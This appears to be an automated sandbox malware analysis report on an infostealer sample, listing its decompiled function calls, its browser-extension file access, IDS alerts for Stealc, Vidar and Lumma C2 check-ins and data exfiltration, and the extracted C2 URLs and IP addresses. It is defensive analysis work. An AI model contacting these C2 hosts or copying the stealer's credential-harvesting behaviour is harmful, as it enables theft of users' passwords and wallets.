Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C106C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C106C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C25A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6C25A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C224420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	3_2_6C224420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C254440 PK11_PrivDecrypt,	3_2_6C254440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2544C0 PK11_PubEncrypt,	3_2_6C2544C0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52536 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52537 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.4:52538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:52539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52546 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.4:52549 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.4:52550 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:52552 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000012.00000002.2664581207.000000006C385000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.2238089765.000000003A34D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.2230353873.000000002E478000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2255154924.000000006C32F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2210548893.0000000022238000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2484370405.0000000022A4B000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000012.00000002.2664581207.000000006C385000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	9_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-28h]	9_2_0040F242
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	9_2_0040F940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0040F940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_004109FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2EE0190Fh	9_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h	9_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00446C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_0040ED69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea edx, dword ptr [eax+edi]	9_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0040FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, ebp	9_2_00422063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	9_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	9_2_00434060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	9_2_00407070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	9_2_0044716D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	9_2_00440118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+44h]	9_2_0044711B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+7Ch]	9_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	9_2_00434136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	9_2_0042A1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0041518E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	9_2_00448190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000004F0h]	9_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00433240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000001B8h]	9_2_0041325D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_004492C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00425320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	9_2_0041B330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	9_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, eax	9_2_0040A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	9_2_00448390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ebx	9_2_00430399
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00449410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	9_2_00444480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_004354A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [esi], ax	9_2_0041F552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000110h]	9_2_0041F552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	9_2_00445580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	9_2_00440580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00449580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_00422673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	9_2_0044A610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004296C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_004446C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_0042268A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00449690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	9_2_004276A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, edi	9_2_0042F700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then shrd esi, edx, 00000001h	9_2_00403710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	9_2_00431720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 77DD2217h	9_2_00420729
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea eax, dword ptr [ebp+04h]	9_2_004407E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00449780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	9_2_0044A7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+24h], DEC6D8DEh	9_2_00430810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3BABA5E0h	9_2_00444960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00427900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	9_2_0044A920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00449A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	9_2_0040DA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, edi	9_2_0042FAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	9_2_00404B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	9_2_00444B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	9_2_00413B7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+18h]	9_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	9_2_0042DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp di, 005Ch	9_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+68h]	9_2_0041FB39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	9_2_0043BBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	9_2_00448C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	9_2_00405C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_00422C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	9_2_00441D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	9_2_0041DD55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00414D8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0040DE20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_0042CEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, eax	9_2_00431ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, word ptr [esi]	9_2_00429EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_00421DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_00428FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00428FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000005A8h]	9_2_00420F8A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:52534 -> 5.42.101.62:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.4:52534
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.4:52534
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:52541 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:52540 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:52540 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:52540
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:52540 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:52540
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:52540 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.4:52548
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.4:52548
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.42.101.62:80 -> 192.168.2.4:52553
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.42.101.62:80 -> 192.168.2.4:52553
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52547 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52549 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52547 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52549 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52537 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52550 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52537 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52550 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52538 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52538 -> 104.21.1.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:52536 -> 172.67.205.129:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:52536 -> 172.67.205.129:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: bellykmrebk.site
Source: Malware configuration extractor	URLs: writekdmsnu.site
Source: Malware configuration extractor	URLs: commandejorsk.site
Source: Malware configuration extractor	URLs: possiwreeste.site
Source: Malware configuration extractor	URLs: underlinemdsj.site
